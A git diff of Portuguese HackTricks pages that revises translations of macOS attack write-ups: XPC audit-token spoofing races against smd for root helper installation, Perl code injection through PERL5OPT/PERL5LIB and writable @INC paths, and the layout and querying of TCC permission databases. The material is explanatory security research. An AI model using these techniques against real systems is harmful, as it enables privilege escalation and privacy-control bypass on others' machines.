O que é interessante saber é que a **abstração do XPC é uma conexão um para um**, mas é baseada em uma tecnologia que **pode ter vários remetentes, então:**
|
||||
O que é interessante saber é que a **abstração do XPC é uma conexão um para um**, mas é baseada em cima de uma tecnologia que **pode ter vários remetentes, então:**
|
||||
|
||||
* As portas mach são de um receptor, **múltiplos remetentes**.
|
||||
* As portas mach são de um receptor, **vários remetentes**.
|
||||
* O token de auditoria de uma conexão XPC é o token de auditoria **copiado da mensagem mais recentemente recebida**.
|
||||
* Obter o **token de auditoria** de uma conexão XPC é crítico para muitas **verificações de segurança**.
|
||||
|
||||
Embora a situação anterior pareça promissora, existem cenários em que isso não causará problemas ([daqui](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
|
||||
* Os tokens de auditoria são frequentemente usados para uma verificação de autorização para decidir se aceitam uma conexão. Como isso acontece usando uma mensagem para a porta de serviço, **ainda não há uma conexão estabelecida**. Mais mensagens nesta porta serão tratadas como solicitações de conexão adicionais. Portanto, **verificações antes de aceitar uma conexão não são vulneráveis** (isso também significa que dentro de `-listener:shouldAcceptNewConnection:` o token de auditoria está seguro). Estamos, portanto, **procurando conexões XPC que verifiquem ações específicas**.
|
||||
* Os tokens de auditoria são frequentemente usados para uma verificação de autorização para decidir se aceitam uma conexão. Como isso acontece usando uma mensagem para a porta de serviço, **ainda não há conexão estabelecida**. Mais mensagens nesta porta serão tratadas como solicitações de conexão adicionais. Portanto, **verificações antes de aceitar uma conexão não são vulneráveis** (isso também significa que dentro de `-listener:shouldAcceptNewConnection:` o token de auditoria está seguro). Estamos, portanto, **procurando por conexões XPC que verifiquem ações específicas**.
|
||||
* Os manipuladores de eventos XPC são tratados de forma síncrona. Isso significa que o manipulador de eventos para uma mensagem deve ser concluído antes de chamá-lo para a próxima, mesmo em filas de despacho concorrentes. Portanto, dentro de um **manipulador de eventos XPC, o token de auditoria não pode ser sobrescrito** por outras mensagens normais (não de resposta!).
|
||||
|
||||
Duas maneiras diferentes pelas quais isso pode ser explorado:
|
||||
Duas diferentes formas em que isso pode ser explorado:
|
||||
|
||||
1. Variante1:
|
||||
* **Explorar** **conecta** ao serviço **A** e serviço **B**
|
||||
|
@ -62,7 +62,7 @@ Duas maneiras diferentes pelas quais isso pode ser explorado:
|
|||
* O serviço **B** pode chamar uma **funcionalidade privilegiada** no serviço A que o usuário não pode
|
||||
* O exploit se conecta com o **serviço A** que **envia** ao exploit uma **mensagem esperando uma resposta** em uma **porta de resposta** específica.
|
||||
* O exploit envia ao **serviço** B uma mensagem passando **essa porta de resposta**.
|
||||
* Quando o serviço **B responde**, ele **envia a mensagem para o serviço A**, **enquanto** o **exploit** envia uma **mensagem diferente para o serviço A** tentando **acessar uma funcionalidade privilegiada** e esperando que a resposta de serviço B sobrescreva o Token de Auditoria no momento perfeito (Condição de Corrida).
|
||||
* Quando o serviço **B responde**, ele **envia a mensagem para o serviço A**, **enquanto** o **exploit** envia uma **mensagem diferente para o serviço A** tentando **alcançar uma funcionalidade privilegiada** e esperando que a resposta do serviço B sobrescreva o Token de Auditoria no momento perfeito (Condição de Corrida).
|
||||
|
||||
## Variante 1: chamando xpc\_connection\_get\_audit\_token fora de um manipulador de eventos <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
|
||||
|
@ -71,10 +71,10 @@ Cenário:
|
|||
* Dois serviços mach **`A`** e **`B`** aos quais podemos nos conectar (com base no perfil de sandbox e nas verificações de autorização antes de aceitar a conexão).
|
||||
* _**A**_ deve ter uma **verificação de autorização** para uma ação específica que **`B`** pode passar (mas nosso aplicativo não pode).
|
||||
* Por exemplo, se B tiver algumas **prerrogativas** ou estiver sendo executado como **root**, ele pode permitir que ele peça a A para executar uma ação privilegiada.
|
||||
* Para essa verificação de autorização, **`A`** obtém o token de auditoria de forma assíncrona, por exemplo, chamando `xpc_connection_get_audit_token` de **`dispatch_async`**.
|
||||
* Para esta verificação de autorização, **`A`** obtém o token de auditoria de forma assíncrona, por exemplo, chamando `xpc_connection_get_audit_token` de **`dispatch_async`**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Neste caso, um atacante poderia desencadear uma **Condição de Corrida** criando um **exploit** que **peça a A para executar uma ação** várias vezes enquanto faz **B enviar mensagens para `A`**. Quando a CC for **bem-sucedida**, o **token de auditoria** de **B** será copiado na memória **enquanto** a solicitação de nosso **exploit** está sendo **tratada** por A, dando-lhe **acesso à ação privilegiada que apenas B poderia solicitar**.
|
||||
Neste caso, um atacante poderia desencadear uma **Condição de Corrida** criando um **exploit** que **solicita que A execute uma ação** várias vezes enquanto faz **B enviar mensagens para `A`**. Quando a CC for **bem-sucedida**, o **token de auditoria** de **B** será copiado na memória **enquanto** a solicitação do nosso **exploit** está sendo **tratada** por A, dando-lhe **acesso à ação privilegiada que apenas B poderia solicitar**.
|
||||
{% endhint %}
|
||||
|
||||
Isso aconteceu com **`A`** como `smd` e **`B`** como `diagnosticd`. A função [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) de smb pode ser usada para instalar uma nova ferramenta auxiliar privilegiada (como **root**). Se um **processo em execução como root** entrar em contato com **smd**, nenhuma outra verificação será realizada.
|
||||
|
@ -84,13 +84,12 @@ Portanto, o serviço **B** é **`diagnosticd`** porque é executado como **root*
|
|||
Para realizar o ataque:
|
||||
|
||||
1. Inicie uma **conexão** com o serviço chamado `smd` usando o protocolo XPC padrão.
|
||||
2. Forme uma **conexão secundária** com `diagnosticd`. Ao contrário do procedimento normal, em vez de criar e enviar duas novas portas mach, o direito de envio da porta do cliente é substituído por uma duplicata do **direito de envio** associado à conexão `smd`.
|
||||
2. Forme uma **conexão secundária** com `diagnosticd`. Contrariamente ao procedimento normal, em vez de criar e enviar duas novas portas mach, o direito de envio da porta do cliente é substituído por uma duplicata do **direito de envio** associado à conexão `smd`.
|
||||
3. Como resultado, as mensagens XPC podem ser despachadas para `diagnosticd`, mas as respostas de `diagnosticd` são redirecionadas para `smd`. Para `smd`, parece que as mensagens tanto do usuário quanto de `diagnosticd` estão originando da mesma conexão.
|
||||
|
||||
![Imagem representando o processo de exploit](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
|
||||
|
||||
4. O próximo passo envolve instruir `diagnosticd` a iniciar a monitoração de um processo escolhido (potencialmente o do usuário). Concomitantemente, uma inundação de mensagens de rotina 1004 é enviada para `smd`. A intenção aqui é instalar uma ferramenta com privilégios elevados.
|
||||
5. Essa ação desencadeia uma condição de corrida dentro da função `handle_bless`. O timing é crítico: a chamada da função `xpc_connection_get_pid` deve retornar o PID do processo do usuário (já que a ferramenta privilegiada reside no pacote de aplicativos do usuário). No entanto, a função `xpc_connection_get_audit_token`, especificamente dentro da sub-rotina `connection_is_authorized`, deve fazer referência ao token de auditoria pertencente a `diagnosticd`.
|
||||
4. O próximo passo envolve instruir o `diagnosticd` a iniciar o monitoramento de um processo escolhido (potencialmente o do próprio usuário). Simultaneamente, uma inundação de mensagens rotineiras 1004 é enviada para o `smd`. A intenção aqui é instalar uma ferramenta com privilégios elevados.
|
||||
5. Essa ação desencadeia uma condição de corrida dentro da função `handle_bless`. O timing é crítico: a chamada da função `xpc_connection_get_pid` deve retornar o PID do processo do usuário (já que a ferramenta privilegiada reside no pacote de aplicativos do usuário). No entanto, a função `xpc_connection_get_audit_token`, especificamente dentro da sub-rotina `connection_is_authorized`, deve fazer referência ao token de auditoria pertencente ao `diagnosticd`.
|
||||
|
||||
## Variante 2: encaminhamento de resposta
|
||||
|
||||
|
@ -99,50 +98,38 @@ Em um ambiente XPC (Comunicação entre Processos), embora os manipuladores de e
|
|||
1. **`xpc_connection_send_message_with_reply`**: Aqui, a mensagem XPC é recebida e processada em uma fila designada.
|
||||
2. **`xpc_connection_send_message_with_reply_sync`**: Por outro lado, neste método, a mensagem XPC é recebida e processada na fila de despacho atual.
|
||||
|
||||
Essa distinção é crucial porque permite a possibilidade de **pacotes de resposta serem analisados simultaneamente com a execução de um manipulador de eventos XPC**. Notavelmente, embora `_xpc_connection_set_creds` implemente bloqueio para proteger contra a sobrescrita parcial do token de auditoria, ele não estende essa proteção para o objeto de conexão inteiro. Consequentemente, isso cria uma vulnerabilidade onde o token de auditoria pode ser substituído durante o intervalo entre a análise de um pacote e a execução de seu manipulador de eventos.
|
||||
Essa distinção é crucial porque permite a possibilidade de **pacotes de resposta serem analisados simultaneamente com a execução de um manipulador de eventos XPC**. Notavelmente, embora o `_xpc_connection_set_creds` implemente bloqueio para proteger contra a sobrescrita parcial do token de auditoria, ele não estende essa proteção para o objeto de conexão inteiro. Consequentemente, isso cria uma vulnerabilidade onde o token de auditoria pode ser substituído durante o intervalo entre a análise de um pacote e a execução de seu manipulador de eventos.
|
||||
|
||||
Para explorar essa vulnerabilidade, a seguinte configuração é necessária:
|
||||
|
||||
- Dois serviços mach, referidos como **`A`** e **`B`**, ambos capazes de estabelecer uma conexão.
|
||||
- O serviço **`A`** deve incluir uma verificação de autorização para uma ação específica que apenas **`B`** pode executar (o aplicativo do usuário não pode).
|
||||
- O serviço **`A`** deve enviar uma mensagem que espera uma resposta.
|
||||
- O usuário pode enviar uma mensagem para **`B`** que ele responderá.
|
||||
* Dois serviços mach, referidos como **`A`** e **`B`**, ambos capazes de estabelecer uma conexão.
|
||||
* O serviço **`A`** deve incluir uma verificação de autorização para uma ação específica que apenas **`B`** pode realizar (a aplicação do usuário não pode).
|
||||
* O serviço **`A`** deve enviar uma mensagem que espera uma resposta.
|
||||
* O usuário pode enviar uma mensagem para **`B`** que irá responder.
|
||||
|
||||
O processo de exploração envolve as seguintes etapas:
|
||||
O processo de exploração envolve os seguintes passos:
|
||||
|
||||
1. Aguarde o serviço **`A`** enviar uma mensagem que espera uma resposta.
|
||||
2. Em vez de responder diretamente a **`A`**, a porta de resposta é sequestrada e usada para enviar uma mensagem para o serviço **`B`**.
|
||||
1. Aguardar o serviço **`A`** enviar uma mensagem que espera uma resposta.
|
||||
2. Em vez de responder diretamente para **`A`**, a porta de resposta é sequestrada e usada para enviar uma mensagem para o serviço **`B`**.
|
||||
3. Posteriormente, uma mensagem envolvendo a ação proibida é despachada, com a expectativa de que seja processada simultaneamente com a resposta de **`B`**.
|
||||
|
||||
Abaixo está uma representação visual do cenário de ataque descrito:
|
||||
|
||||
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
|
||||
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## Problemas de Descoberta
|
||||
|
||||
- **Dificuldades em Localizar Instâncias**: Procurar instâncias de uso de `xpc_connection_get_audit_token` foi desafiador, tanto estaticamente quanto dinamicamente.
|
||||
- **Metodologia**: Frida foi usada para enganchar a função `xpc_connection_get_audit_token`, filtrando chamadas que não se originam de manipuladores de eventos. No entanto, esse método estava limitado ao processo enganchado e exigia uso ativo.
|
||||
- **Ferramentas de Análise**: Ferramentas como IDA/Ghidra foram usadas para examinar serviços mach alcançáveis, mas o processo foi demorado, complicado por chamadas envolvendo o cache compartilhado dyld.
|
||||
- **Limitações de Scripting**: Tentativas de criar um script para análise de chamadas para `xpc_connection_get_audit_token` a partir de blocos `dispatch_async` foram dificultadas por complexidades na análise de blocos e interações com o cache compartilhado dyld.
|
||||
* **Dificuldades em Localizar Instâncias**: A busca por instâncias de uso do `xpc_connection_get_audit_token` foi desafiadora, tanto estaticamente quanto dinamicamente.
|
||||
* **Metodologia**: Frida foi utilizada para enganchar a função `xpc_connection_get_audit_token`, filtrando chamadas que não se originam de manipuladores de eventos. No entanto, esse método estava limitado ao processo enganchado e exigia uso ativo.
|
||||
* **Ferramentas de Análise**: Ferramentas como IDA/Ghidra foram usadas para examinar serviços mach alcançáveis, mas o processo foi demorado, complicado por chamadas envolvendo o cache compartilhado dyld.
|
||||
* **Limitações de Scripting**: As tentativas de criar um script para a análise de chamadas para `xpc_connection_get_audit_token` a partir de blocos `dispatch_async` foram dificultadas por complexidades na análise de blocos e interações com o cache compartilhado dyld.
|
||||
|
||||
## A correção <a href="#the-fix" id="the-fix"></a>
|
||||
|
||||
- **Problemas Reportados**: Um relatório foi enviado à Apple detalhando os problemas gerais e específicos encontrados dentro de `smd`.
|
||||
- **Resposta da Apple**: A Apple abordou o problema em `smd` substituindo `xpc_connection_get_audit_token` por `xpc_dictionary_get_audit_token`.
|
||||
- **Natureza da Correção**: A função `xpc_dictionary_get_audit_token` é considerada segura, pois recupera o token de auditoria diretamente da mensagem mach vinculada à mensagem XPC recebida. No entanto, não faz parte da API pública, semelhante a `xpc_connection_get_audit_token`.
|
||||
- **Ausência de uma Correção Mais Abrangente**: Não está claro por que a Apple não implementou uma correção mais abrangente, como descartar mensagens que não se alinham com o token de auditoria salvo da conexão. A possibilidade de alterações legítimas no token de auditoria em determinados cenários (por exemplo, uso de `setuid`) pode ser um fator.
|
||||
- **Status Atual**: O problema persiste no iOS 17 e macOS 14, representando um desafio para aqueles que buscam identificá-lo e compreendê-lo.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter**
|
||||
* **Problemas Reportados**: Um relatório foi enviado à Apple detalhando os problemas gerais e específicos encontrados dentro do `smd`.
|
||||
* **Resposta da Apple**: A Apple abordou o problema no `smd` substituindo `xpc_connection_get_audit_token` por `xpc_dictionary_get_audit_token`.
|
||||
* **Natureza da Correção**: A função `xpc_dictionary_get_audit_token` é considerada segura, pois recupera o token de auditoria diretamente da mensagem mach vinculada à mensagem XPC recebida. No entanto, não faz parte da API pública, semelhante ao `xpc_connection_get_audit_token`.
|
||||
* **Ausência de uma Correção Mais Abrangente**: Permanece incerto por que a Apple não implementou uma correção mais abrangente, como descartar mensagens que não se alinham com o token de auditoria salvo da conexão. A possibilidade de alterações legítimas no token de auditoria em certos cenários (por exemplo, uso de `setuid`) pode ser um fator.
|
||||
* **Status Atual**: O problema persiste no iOS 17 e macOS 14, representando um desafio para aqueles que buscam identificá-lo e compreendê-lo.
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
## Através das variáveis de ambiente `PERL5OPT` e `PERL5LIB`
|
||||
|
||||
Usando a variável de ambiente PERL5OPT, é possível fazer o perl executar comandos arbitrários.\
|
||||
Usando a variável de ambiente PERL5OPT é possível fazer o perl executar comandos arbitrários.\
|
||||
Por exemplo, crie este script:
|
||||
|
||||
{% code title="test.pl" %}
|
||||
|
@ -52,7 +52,7 @@ PERL5LIB=/tmp/ PERL5OPT=-Mpmod
|
|||
```bash
|
||||
perl -e 'print join("\n", @INC)'
|
||||
```
|
||||
O seguinte é o conteúdo de um livro sobre técnicas de hacking. O conteúdo a seguir é do arquivo macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md.
|
||||
O que retornará algo como:
|
||||
```bash
|
||||
/Library/Perl/5.30/darwin-thread-multi-2level
|
||||
/Library/Perl/5.30
|
||||
|
@ -70,7 +70,7 @@ Algumas das pastas retornadas nem mesmo existem, no entanto, **`/Library/Perl/5.
|
|||
No entanto, observe que você **precisa ser root para escrever nessa pasta** e hoje em dia você receberá este **prompt TCC**:
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
Por exemplo, se um script estiver importando **`use File::Basename;`** seria possível criar `/Library/Perl/5.30/File/Basename.pm` para executar código arbitrário.
|
||||
|
||||
|
@ -84,10 +84,10 @@ Por exemplo, se um script estiver importando **`use File::Basename;`** seria pos
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,12 +4,12 @@
|
|||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
@ -24,7 +24,7 @@ Os usuários encontram o TCC quando os aplicativos solicitam acesso a recursos p
|
|||
|
||||
O **TCC** é gerenciado pelo **daemon** localizado em `/System/Library/PrivateFrameworks/TCC.framework/Support/tccd` e configurado em `/System/Library/LaunchDaemons/com.apple.tccd.system.plist` (registrando o serviço mach `com.apple.tccd.system`).
|
||||
|
||||
Existe um **tccd em modo de usuário** em execução por usuário logado definido em `/System/Library/LaunchAgents/com.apple.tccd.plist` registrando os serviços mach `com.apple.tccd` e `com.apple.usernotifications.delegate.com.apple.tccd`.
|
||||
Existe um **tccd em modo de usuário** em execução por usuário conectado definido em `/System/Library/LaunchAgents/com.apple.tccd.plist` registrando os serviços mach `com.apple.tccd` e `com.apple.usernotifications.delegate.com.apple.tccd`.
|
||||
|
||||
Aqui você pode ver o tccd em execução como sistema e como usuário:
|
||||
```bash
|
||||
|
@ -40,26 +40,26 @@ As permissões concedidas/negadas são então armazenadas em alguns bancos de da
|
|||
|
||||
- O banco de dados de sistema em **`/Library/Application Support/com.apple.TCC/TCC.db`**.
|
||||
- Este banco de dados é **protegido pelo SIP**, então somente uma bypass do SIP pode escrever nele.
|
||||
- O banco de dados de usuário TCC **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** para preferências por usuário.
|
||||
- Este banco de dados é protegido, então somente processos com altos privilégios TCC como Acesso Total ao Disco podem escrever nele (mas não é protegido pelo SIP).
|
||||
- O banco de dados de TCC do usuário **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** para preferências por usuário.
|
||||
- Este banco de dados é protegido, então somente processos com altos privilégios de TCC como Acesso Total ao Disco podem escrever nele (mas não é protegido pelo SIP).
|
||||
|
||||
{% hint style="warning" %}
|
||||
Os bancos de dados anteriores também são **protegidos pelo TCC para acesso de leitura**. Portanto, você **não poderá ler** seu banco de dados TCC regular a menos que seja de um processo com privilégios TCC.
|
||||
Os bancos de dados anteriores também são **protegidos pelo TCC para acesso de leitura**. Portanto, você **não poderá ler** seu banco de dados TCC regular a menos que seja de um processo com privilégios de TCC.
|
||||
|
||||
No entanto, lembre-se de que um processo com esses altos privilégios (como **FDA** ou **`kTCCServiceEndpointSecurityClient`**) poderá escrever no banco de dados TCC dos usuários.
|
||||
No entanto, lembre-se de que um processo com esses altos privilégios (como **FDA** ou **`kTCCServiceEndpointSecurityClient`**) poderá escrever no banco de dados de TCC dos usuários.
|
||||
{% endhint %}
|
||||
|
||||
- Existe um **terceiro** banco de dados TCC em **`/var/db/locationd/clients.plist`** para indicar clientes autorizados a **acessar serviços de localização**.
|
||||
- O arquivo protegido pelo SIP **`/Users/carlospolop/Downloads/REG.db`** (também protegido do acesso de leitura com TCC), contém a **localização** de todos os **bancos de dados TCC válidos**.
|
||||
- O arquivo protegido pelo SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (também protegido do acesso de leitura com TCC), contém mais permissões concedidas pelo TCC.
|
||||
- O arquivo protegido pelo SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (mas legível por qualquer pessoa) é uma lista de permissões de aplicativos que requerem uma exceção TCC.
|
||||
- O arquivo protegido pelo SIP **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (mas legível por qualquer pessoa) é uma lista de permissões de aplicativos que requerem uma exceção de TCC.
|
||||
|
||||
{% hint style="success" %}
|
||||
O banco de dados TCC no **iOS** está em **`/private/var/mobile/Library/TCC/TCC.db`**
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="info" %}
|
||||
A **interface do centro de notificações** pode fazer **alterações no banco de dados TCC do sistema**:
|
||||
O **centro de notificações UI** pode fazer **alterações no banco de dados TCC do sistema**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -97,7 +97,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Banco de Dados do Sistema" %}
|
||||
{% tab title="Banco de dados do sistema" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db
|
||||
|
@ -126,15 +126,15 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
|
|||
Verificando ambos os bancos de dados, você pode verificar as permissões que um aplicativo permitiu, proibiu ou não possui (ele solicitará).
|
||||
{% endhint %}
|
||||
|
||||
* O **`service`** é a representação de string de **permissão** do TCC
|
||||
* O **`client`** é o **ID do pacote** ou **caminho para o binário** com as permissões
|
||||
* O **`client_type`** indica se é um Identificador de Pacote(0) ou um caminho absoluto(1)
|
||||
* O **`serviço`** é a representação de string de **permissão** do TCC
|
||||
* O **`cliente`** é o **ID do pacote** ou **caminho para o binário** com as permissões
|
||||
* O **`tipo de cliente`** indica se é um Identificador de Pacote(0) ou um caminho absoluto(1)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Como executar se for um caminho absoluto</summary>
|
||||
|
||||
Basta fazer **`launctl load you_bin.plist`**, com um plist como:
|
||||
Basta fazer **`launctl load seu_bin.plist`**, com um plist como:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -191,7 +191,7 @@ echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
|
|||
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
|
||||
echo "X'$REQ_HEX'"
|
||||
```
|
||||
* Para mais informações sobre os **outros campos** da tabela, [confira este post no blog](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).
|
||||
* Para mais informações sobre os **outros campos** da tabela [**verifique este post no blog**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).
|
||||
|
||||
Você também pode verificar as **permissões já concedidas** para aplicativos em `Preferências do Sistema --> Segurança e Privacidade --> Privacidade --> Arquivos e Pastas`.
|
||||
|
||||
|
@ -232,11 +232,11 @@ Portanto, outras aplicações que utilizem o mesmo nome e ID de pacote não pode
|
|||
### Privilégios e Permissões TCC
|
||||
|
||||
As aplicações **não apenas precisam** solicitar e ter **acesso concedido** a alguns recursos, elas também precisam **ter os privilégios relevantes**.\
|
||||
Por exemplo, o **Telegram** possui o privilégio `com.apple.security.device.camera` para solicitar **acesso à câmera**. Uma **aplicação** que **não** possui esse **privilégio não poderá** acessar a câmera (e o usuário nem será solicitado para as permissões).
|
||||
Por exemplo, o **Telegram** possui o privilégio `com.apple.security.device.camera` para solicitar **acesso à câmera**. Uma **aplicação** que **não tenha** esse **privilégio não poderá** acessar a câmera (e o usuário nem será solicitado para as permissões).
|
||||
|
||||
No entanto, para as aplicações **acessarem** determinadas pastas do usuário, como `~/Desktop`, `~/Downloads` e `~/Documents`, elas **não precisam** ter nenhum **privilégio específico**. O sistema lidará com o acesso de forma transparente e **solicitará permissão ao usuário** conforme necessário.
|
||||
|
||||
As aplicações da Apple **não gerarão solicitações**. Elas contêm **direitos pré-concedidos** em sua lista de **privilégios**, o que significa que **nunca gerarão um pop-up**, **nem** aparecerão em nenhum dos **bancos de dados TCC**. Por exemplo:
|
||||
As aplicações da Apple **não gerarão solicitações**. Elas contêm **direitos pré-concedidos** em sua lista de **privilégios**, o que significa que **nunca gerarão um pop-up**, **nem** aparecerão em nenhum dos **bancos de dados do TCC**. Por exemplo:
|
||||
```bash
|
||||
